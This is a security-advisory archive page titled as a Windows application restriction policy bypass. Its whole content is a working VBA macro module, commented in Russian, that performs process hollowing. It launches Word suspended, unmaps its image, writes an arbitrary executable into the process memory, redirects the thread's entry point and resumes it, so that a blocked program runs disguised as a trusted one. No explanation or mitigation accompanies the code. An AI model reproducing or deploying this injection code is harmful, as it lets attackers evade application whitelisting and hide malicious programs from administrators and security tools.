Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25783
HistoryFeb 24, 2011 - 12:00 a.m.

Microsoft Windows application restriction policy bypass

2011-02-2400:00:00
vulners.com
25

Attribute VB_Name = "XRun"
'made by +ec
'Модуль способный заменять память только что созданого (и не только)
'процесса помеченного как SUSPENDED (приостановленый).
'Ver 1.0

Option Explicit

Const SIZE_OF_80387_REGISTERS = 80
Const CREATE_SUSPENDED = 4
Const MEM_COMMIT As Long = &H1000&
Const MEM_RESERVE As Long = &H2000&
Const PAGE_EXECUTE_READWRITE As Long = &H40
Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Const PAGE_EXECUTE_READ As Long = &H20
Const PAGE_EXECUTE As Long = &H10
Const PAGE_READONLY As Long = 2
Const PAGE_WRITECOPY As Long = &H8
Const PAGE_NOACCESS As Long = 1
Const PAGE_READWRITE As Long = &H4
Const CONTEXT_X86 = &H10000
Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)
Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)
Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)
Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)
Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10)
Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)

Const OFFSET_4 = 4294967296#

Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Private Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Private Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long

Public Declare Function SetCurrentDirectory Lib "kernel32" Alias "SetCurrentDirectoryA" (ByVal lpPathName As String) As Long '314

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT86
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long: hThread As Long
dwProcessId As Long: dwThreadId As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Enum ImageSignatureTypes
IMAGE_DOS_SIGNATURE = &H5A4D ''\\ MZ
IMAGE_OS2_SIGNATURE = &H454E ''\\ NE
IMAGE_OS2_SIGNATURE_LE = &H454C ''\\ LE
IMAGE_VXD_SIGNATURE = &H454C ''\\ LE
IMAGE_NT_SIGNATURE = &H4550 ''\\ PE00
End Enum

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
SecName As String * IMAGE_SIZEOF_SHORT_NAME
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Public Function RUNCODE(ByVal sVictim As String, abExeFile() As Byte) As Long
Dim idh As IMAGE_DOS_HEADER
Dim inh As IMAGE_NT_HEADERS
Dim ish As IMAGE_SECTION_HEADER
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFO
Dim context As CONTEXT86
Dim ImageBase As Long, ret As Long, i As Long
Dim addr As Long, lOffset As Long

'Теперь узнаем сигнатуру
CopyMemory idh, abExeFile(0), Len(idh)
If idh.e_magic <> IMAGE_DOS_SIGNATURE Then
   RUNCODE = RUNCODE + 1
   'MsgBox "MZ сигнатура не найдена!", vbCritical
   Exit Function
End If
CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)
If inh.Signature <> IMAGE_NT_SIGNATURE Then
   RUNCODE = RUNCODE + 2
   'MsgBox "PE сигнатура не найдена!", vbCritical
   Exit Function
End If

si.cb = Len(si)
'Создаем остановленый SUSPENDED поток/процесс (жертву)
If CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
   RUNCODE = RUNCODE + 4
   'MsgBox "Не удалось запустить жертву!", vbCritical
   Exit Function
End If
context.ContextFlags = CONTEXT86_INTEGER
If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess 'Коряво считали контекст потока
Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0) 'Считываем память процесса (нужную его часть)
If addr = 0 Then GoTo ClearProcess 'Если не полусили адрес то криндец!
If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess 'Если несможем впихнуть код в секцию
ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE) 'Резервируем память
If ImageBase = 0 Then GoTo ClearProcess 'если не получилось зарезервировать

Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret) 'Может привисти к блюскрину
lOffset = idh.e_lfanew + Len(inh)
For i = 0 To inh.FileHeader.NumberOfSections - 1
    CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish) 'Впихивыем код
    Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret) 'Тоже, но реже
    Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr) '
Next i
Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret) 'Завершающая стадия
context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint 'правим контекст, а то будет бигглюк
Call SetThreadContext(pi.hThread, context) 'Устанавливаем его
Call ResumeThread(pi.hThread) 'Возобнавляем поток
Exit Function

ClearProcess:
' Освобождаем хэндлы
CloseHandle pi.hThread
CloseHandle pi.hProcess
End Function

Public Function LoadFile(ByVal sName As String) As Byte() 'Функция обезбашеной загрузки файла (засовавается в массив байт)
Dim nFile As Integer
Dim arrFile() As Byte
nFile = FreeFile
Open sName For Binary As #nFile
ReDim arrFile(LOF(nFile) - 1)
Get #nFile, , arrFile
Close #nFile
LoadFile = arrFile
End Function

Private Function Protect(ByVal characteristics As Long) As Long
Dim mapping As Variant
mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
Protect = mapping(RShift(characteristics, 29))
End Function

Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long 'Сдвигает биты в право
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function

Private Function vbLongToULong(ByVal Value As Long) As Double 'Выравнивает адресс
If Value < 0 Then
vbLongToULong = Value + OFFSET_4
Else
vbLongToULong = Value
End If
End Function

Public Sub Durak()
SetCurrentDirectory "D:\Temp"
RUNCODE "C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE", LoadFile("D:\Temp\autoruns.exe")
End Sub